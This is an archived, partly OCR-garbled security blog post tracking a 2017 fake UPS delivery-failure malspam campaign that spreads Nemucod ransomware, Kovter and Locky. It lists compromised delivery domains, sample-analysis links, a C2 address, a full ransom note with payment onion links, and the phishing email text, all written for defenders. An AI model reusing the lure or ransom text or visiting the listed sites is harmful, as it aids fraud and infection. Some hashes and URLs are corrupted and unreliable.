http://web.archive.org/web/20181007211751 /https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/

environmentId=100
Sites involved in this campaign found so far this week:

resedaplumbing.com
modx.mbalet.ru
artdecorfashion.com
eventbon.nl
elita5.md
goldwingclub.ru
www.gloszp.pl
natiwa.com
desinano.com.ar
amis-spb.ru
perdasbasalti.it
120.109.32.72
calendar-del.ru

indexsa.com.ar
Update 2 July 2017: new sites found, many of last week’s sites are still being used as well

Example files:

environmentId=100
https://www.virustotal.com/en/file/1e847dcfd6eeebee068e5be729ed4b0cc389d9e9557d5¢c8ad93225fa0192e2cf/analysis/1498977456/

singley-construction.com
mebel-vito.ru
desinano.com.ar

box-m.org

nikmuzschool.ru
4southern.com

musaler.ru
uploadmiller.miller-media.at
csasesores.com.ar
vademecsa.com.ar
vinoteka28.ru

zgqyzjxh.com
osadakrajenska.pl
chymeres.org
www.mecanique-de-precision.net
winnicemoldawii.pl
www.agrimixxshop.com

luxe-limo.ru

Update 7 July 2017: new sites include : ( still older sites being used as well ) But there is a slight change to the js file in the
email zip. I think it is basically a change in the order the instructions & vars are laid out rather than any major functional
change. They still download counter.js which contains an embedded php file which performs the ransomware attack along

with multiple other associated files and of course Kovter Trojan

produzirtransforma.com
sharedocsrl.it
ferabusiness.com
lamancha.club
www.shiashop.com
atagarden.com
bennuakar.com
blog.3yinaudio.com
expert5.ru
serdcezemli.ru
infosoft.pl
beta.smk.dk
anthonyadavies.co.uk

emsp.ru
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http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/1e847dcfd6eeebee068e5be729ed4b0cc389d9e9557d5c8ad93225fa0192e2cf?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/1e847dcfd6eeebee068e5be729ed4b0cc389d9e9557d5c8ad93225fa0192e2cf?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/1e847dcfd6eeebee068e5be729ed4b0cc389d9e9557d5c8ad93225fa0192e2cf/analysis/1498977456/

http://web.archive.org/web/20181007211751 /https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/

anahata2011.ru
sel.w.filipac.net
ekokond.ru
jesionowa-dental.pl
www.slayerevival.com
b2stomatologia.pl
snw.snellewieken.nl
dilaratahincioglu.com
connexion-zen.com
chatawzieleni.pl
ongediertebestrijding.midholland.nl
ionios-sa.gr
infermierifktmatuziani.org
it.support4u.pl
bandanamedia.com
www.proleite.com.pt
xn—2016-gwea7d0alb0d.xn--p1lai
navigator-vs.ru

ladeya.ru

gimn5.by.
xn--80aaumty.xn--plai
fundacio.basquetcatala.cat
laurel.net.au
integralmea.com
magazin-mmv.ru
kominki.szczecin.pl
realitybusiness.be
northernhydro.co.uk
drmalishop.com
rcproracing.com
kingoffoodgarden.com
w-iii.com

hmymrmf.com
syesdzs.com
henri-le-roy.fr
eastmarine.com.sg
upper-int.ru

newborn.cm
mymrmf.com
nkdeng.com
aimcompany.net
bombayhospitalandtraumacentre.com
heixiangzi.com

angiti.by

Example files today:

UPS-Delivery-9106926.doc.js [virustotal] [payload security]

counter.js [virustotal]
1CsnkH4ym42iWx065QoRtFDC4aPD93QU7e2.exe [VirusTotal] Kovter

1CsnkH4ym42iWx065QoRtFDC4aPD93QU7e.exe [virustotal] same as been seeing for several months now. php

interpreter

1CsnkH4ym42iWx065QoRtFDC4aPD93QU7e.doc [virustotal] not a doc file but some sort of data used in the attack. either

to fool analysis or as part of the attack itself

1CsnkH4ym42iWx065QoRtFDC4aPD93QU7e.php [virustotal] which performs the ransomware attack Decoded Version
http://www.unphp.net/decode/519e3ad90af1d2854b014a259e079e98/

Update 23 July 2017: A change in the ransom note and a change in the decryptor download sites which is now the same
range of onion site as the payment sites rather than the compromised websites that are delivering the malware. This has

changed since last week to
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http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/21819cf3585d636e6046ed1b637929433d5f7f9da4660985ede45e65cbcd7afd/analysis/1499408892/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/21819cf3585d636e6046ed1b637929433d5f7f9da4660985ede45e65cbcd7afd?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/f32c9a1d04c7c75f1f6553e120e59c9038ccd429c90c11e4c658fce46df4e14f/analysis/1499409803/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/f31ef74a4ad559c6f9e38968ecda299a1a5e76b790a1155e3dbc71323eee3a8c/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/482711b2f17870ddae316619ba2f487641e35ac4c099ae7e0ff4becd79e89faf/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/bfe03aadfe51b67de02fef1b5d517a77c90b509df5d393bdc9b0da49ac31fd5c/analysis/1499409471/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/ea356ff9a49e3858d7bd312766f1bb8197b93e50dcb419530043df256631f560/analysis/1499410194/
http://web.archive.org/web/20181007211751/http://www.unphp.net/decode/519e3ad90af1d2854b014a259e079e98/

http://web.archive.org/web/20181007211751 /https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload,/

https://bgl3mwo7z3pqyysm.onion.link/?14ZqL.vq8a8Fok1J7E3ZymqWPTUwX6Za2Gc
https://bgl3mwo7z3pqyysm.onion.to/?14ZqLvq8a8Fok1J7E3ZymqWPTUwX6Za2Gc
https://bgl3mwo7z3pqyysm.onion.casa/?14ZqLvq8a8Fok1J7E3ZymqWPTUwX6Za2Gc

ATTENTION!

All your documents, photos, databases and other important personal files were encrypted
using a combination of strong RSA-2048 and AES-128 algorithms.

The only way to restore your files is to buy decryptor. Please, follow these steps:
. Create your Bitcoin wallet here: https:/ /blockchain.info/wallet/new
. Buy 0.12147 bitcoins here: https:/ /localbitcoins.com/buy_bitcoins
. Send 0.12147 bitcoins to this address: 14ZqlLvq8a8Fok1J7E3ZymqWPTUwWX6Za2Gc
. Open one of the following links in your browser:
https: / /bgl3mwo7z3pgyysm. ink/?147Zqlvq8a8Fok117E3ZymgWPTUwWX6Za2Gc
https://bgl3mwo7z3pgyysm. to/?14ZqlLvg8a8Fok1]7E3ZymgqWPTUwX6Za2Gc
https: / /bgl3mwo7z3pgyysm.onion.casa/?14Zqlvq8a8Fok117E3ZymqWPTUwX6Za2Gc
If all of these pages are not available:
o Download Tor Browser here: https://www.torproject.org/download/download-easy.html.en
o Install and run Tor Browser

o Open this site in Tor Browser: http://bgl3mwo7z3pqyysm.onion/?147Zqlvq8a8Fok1J7E3ZymqWPTUwX67a2Gc

. Download and run decryptor to restore your files.

https://www.virustotal.com/en/file/f2281cdabf9498ee754740b69c41d15f3ba91a82eb61d34f2cd857acaeaab962/analysis/1500796303/

https://www.hybrid-analysis.com/sample/f2281cdabf9498ee754740b69c41d15f3ba91a82eb61d34f2cd857acaeaab962?

environmentId=100
Decoded PHP at: http://www.unphp.net/decode/ce94e4156cb2012f70a6553a21f0f7d9/

Update 30 July 2017: Over the last week we have noticed most zips have contained a 0 byte .js file. Then on Saturday 29
July 2017, they started to reuse several of the very old sites from 1 month ago, most of which are cleaned up and no malware
on them. Then today Sunday 30 July 2017 emails coming with several new sites and another slight change in the .js files,
where several of the var & function names have changed and an extra layer of obfuscation applied. Still same onion site for
payments. We are also noticing a slight change in some of the delivery emails. Instead of a generic Dear customer, they are
inserting Dear < recipient’s first name> but only where the recipient has a definitely recognisable human name. emails sent

to recipients such as info@, help@, customerservice@, scanner@, Xerox994@ etc all still get Dear customer.

janken.fr
deezz-menswear.nl
womensjoy.ru
kamint.ru
meble-wierzbowski.pl
icemed.is
proserindustries.com
easy2ls.com
prozor.ru

Z0gg.Iu
pink-moore.fr
sionparquetbois.com
pfaudler.ru

wallorail.be
Example files:

https://www.virustotal.com/en/file/f8fc70d9ceb046674b3ad22c0760c4fd28ec50a2c4f9de775933b208b804elad/analysis/1501390742/

environmentId=100
https://www.virustotal.com/en/file/86bd1659314f319d13d22a5a745e0199c416d83ecd781d90d73d32ae215alc2c/analysis/1501392289/

It looks like the Payload Security reports are showing a false positive ( along with VirusTotal ) on some sites on the same IP
numbers as the malware sites. In particular the Russian Red Cross Site is being flagged as malicious. I cannot see any

suspicious content on the links but it might be worth the Red Cross webmaster investigating, just in case
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http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/new_nemucod_aes_ransomware_note.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/new_nemucod_aes_ransomware_note.png
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/f2281cdabf9498ee754740b69c41d15f3ba91a82eb61d34f2cd857acaeaab962/analysis/1500796303/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/f2281cdabf9498ee754740b69c41d15f3ba91a82eb61d34f2cd857acaeaab962?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/f2281cdabf9498ee754740b69c41d15f3ba91a82eb61d34f2cd857acaeaab962?environmentId=100
http://web.archive.org/web/20181007211751/http://www.unphp.net/decode/ce94e4156cb2012f70a6553a21f0f7d9/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/f8fc70d9ceb046674b3ad22c0760c4fd28ec50a2c4f9de775933b208b804e1ad/analysis/1501390742/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/f8fc70d9ceb046674b3ad22c0760c4fd28ec50a2c4f9de775933b208b804e1ad?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/f8fc70d9ceb046674b3ad22c0760c4fd28ec50a2c4f9de775933b208b804e1ad?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/86bd1659314f319d13d22a5a745e0199c416d83ecd781d90d73d32ae215a1c2c?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/86bd1659314f319d13d22a5a745e0199c416d83ecd781d90d73d32ae215a1c2c?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/86bd1659314f319d13d22a5a745e0199c416d83ecd781d90d73d32ae215a1c2c/analysis/1501392289/

http://web.archive.org/web/20181007211751 /https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/

URL: http://redcross.ru/user/Image/php/sudinfo.php?1757779/article/2017-01-07/chez-nous-le-film-engage-du-belge-lucas-
belvaux-qui-enerve-le-fn-video (AV positives: 2/65 scanned on 07/29/2017 15:12:59)
URL: http://redcross.ru/user/Image/php/sudinfo.php?1685092/article/2016-10-01/rallye-de-france-thierry-neuville-reste-2e-
mais-perd-du-terrain-sur-ogier (AV_positives: 2/65 scanned on 07/29/2017 15:12:52)

URL: http://redcross.ru/user/image/php/sudinfo.php?1721418/article/2016-11-18/la-justice-donne-raison-a-une-ado-de-14-
ans-en-phase-terminale-d-un-cancer-elle (AV_positives: 2/65 scanned on 07/29/2017 06:18:30)

Update 16 August 2017: there has been a 2 week break from these, but this morning they are starting to trickle in again. The
js attachment and the resulting nemucod ransomware look functionally identical to the previous ones. Several of the sites are

the same as the 30 July list with quite a few new additions

plans-nature.fr
rubinsteintaybi.es
taboo.su
owczarekpodhalanski.pl
truckman73.ru
productoscobra.com
the100brasil.com.br
centraldosquadrinhos.com
www.jag.mako.hu
WWwWw.ecn.org
dogtrainings.net
X-rays.msk.ru
velhobrasil.com
jayveehr.com

dbstech.co.nz
Example Files and analysis reports

https://www.virustotal.com/en/file/b5009e4137ad28cb4cc267c567e3dbd86842a411c09a2a7fa4c36b70c7537fd2/analysis/1502861631/

environmentId=100
Update 19 August 2017:

we are seeing a change today and although the original .js inside the zip is downloading a counter file from the compromised
sites, this doesn’t appear to be nemucodaes ransomware today. It is still downloading the PHP interpreter and other php files

but also a new file that has poor VirusTotal detections. It appears to be Locky ransomware with a C2 185.75.46.193
Sites found so far involved today

omegaclube.net.br
epl.businesstowork.com
spachristine.se
tatunet.ddo.jp
drjadhavpathlab.com
weddingandco.com
lukehorgan.com
reditec.info
gritfitnesstraining.com
drjadhavpathlab.com
stevecarlile.com
blog.baytic.com

amirmanzurescobar.com

<sitename>/counter/?pKecCkHJqtPHrGaZbLw6g96nPUZIkOPbcP31T4AgY 5rzyqa6RhRIp5-
yz3Tp7DD8Ke2HY Og7K48BFetgvryWkHOAMPcieVNXhHYO0SCvUShYFzPbYyeviYtyt1v8TL6kc8i4l0

which when decoded gives

<sitename>/counter/?aY 5rzyqa6RhRIp5-
yz3Tp7DD8Ke2HY Og7K48BFetgvryWkHOAMPcieVNXhHYO0SCvUShYFzPbYyeviYtyt1v8TL6kc8i4l +n where n is 2-4

Analysis reports

environmentId=100
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http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/url/013806ca0ff930e57d6e4fdec058a3937cb81f94b0b2abc8a6f51b82d4388de2/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/url/f2e975a841b377c78ecbabbbd3b9eaf8b4ebea54503fd137bbd5fc25e7597d8e/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/url/53c4110b2b31d4b1554a4dbe98e3b904ddfb07ed68b756aff1aa9f7322a54132/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/b5009e4137ad28cb4cc267c567e3dbd86842a411c09a2a7fa4c36b70c7537fd2/analysis/1502861631/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/b5009e4137ad28cb4cc267c567e3dbd86842a411c09a2a7fa4c36b70c7537fd2?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/b5009e4137ad28cb4cc267c567e3dbd86842a411c09a2a7fa4c36b70c7537fd2?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02?environmentId=100

http://web.archive.org/web/20181007211751 /https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload,/

environmentId=100

https://www.virustotal.com/en/file/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25¢3c02/analysis/1503142540/

environmentId=100
Update 20 August 2017:
Yet another change to the delivery method this afternoon/evening

Emails are still functionally similar but the attachment is now a html file that when opened pretends to be a word on line
word document that cannot be read in your browser so you need to download & run the plug in to make it work. The plugin

is a js file that is exactly the same as yesterday’s files with the same sites hard coded in it

Email looks like:

B Reply G2 Reply All S} Forward
Sun 20/08/2017 18:01

familyyo@just37 justhost.com

Problems with item delivery, n.005721753
To  517@thespykdler.co.uk

Message  E)UPS.Label.00s721753 dochtml 21 K6)

Dear Customer,

Your item has arrived at the UPS Post Office at August 19, but the courier was unable to deliver parcel to you.
Please review delivery label in attachment!

Thanks and best regards,

Corey Ross,
UPS Senior Station Manager.

The html file when opened looks like this in chrome browser. The link won’t work to download the zip file in Internet
explorer because it uses data:application/zip;base64, which IE will not allow to open from a browser. Chrome & Firefox do

open them. This eventually delivers the same locky ransomware file that has been used for the last couple of days

0 icrosch Word Onlne - x (B8 Setings

0@ *2 o MmO :

This document cannot be read in your browser.

Download and install latest plugin version:

2 sl usoficess..ip A Showan | X

UPS-Label-01054634.doc.html

https://www.virustotal.com/en/file/74ba7cfa43fb356af92afadbe5218e0b0acc7398287eab5c92ee76c070c22ea2/analysis/1503255385/

environmentId=100
Install-MSOffice365-WebView-Plugin-Update-0.165.11a.exe.js

https://www.virustotal.com/en/file/f51f3e32cd4ce8df35ab421cb6a023bledal8bae6678dd026a9cec8f219a244e/analysis/1503255484/

environmentId=100

Locky binary
https://www.virustotal.com/en/file/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02/analysis/
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http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/da40684ec0f603ca5bfdc99b958fa39d3b64f5aabb1096ce2570c478259f177e?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/da40684ec0f603ca5bfdc99b958fa39d3b64f5aabb1096ce2570c478259f177e?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02/analysis/1503142540/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02?environmentId=100
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/Problems-with-item-delivery-n005721753.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/Problems-with-item-delivery-n005721753.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/msoffice365-webview-plugin-update.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/msoffice365-webview-plugin-update.png
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/74ba7cfa43fb356af92afadbe5218e0b0acc7398287eab5c92ee76c070c22ea2/analysis/1503255385/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/74ba7cfa43fb356af92afadbe5218e0b0acc7398287eab5c92ee76c070c22ea2?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/74ba7cfa43fb356af92afadbe5218e0b0acc7398287eab5c92ee76c070c22ea2?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/f51f3e32cd4ce8df35ab421cb6a023b1eda18bae6678dd026a9cec8f219a244e/analysis/1503255484/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/f51f3e32cd4ce8df35ab421cb6a023b1eda18bae6678dd026a9cec8f219a244e?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/f51f3e32cd4ce8df35ab421cb6a023b1eda18bae6678dd026a9cec8f219a244e?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02/analysis/

http://web.archive.org/web/20181007211751 /https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload,/

Source: http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-

ransomware-and-kovter-payload/
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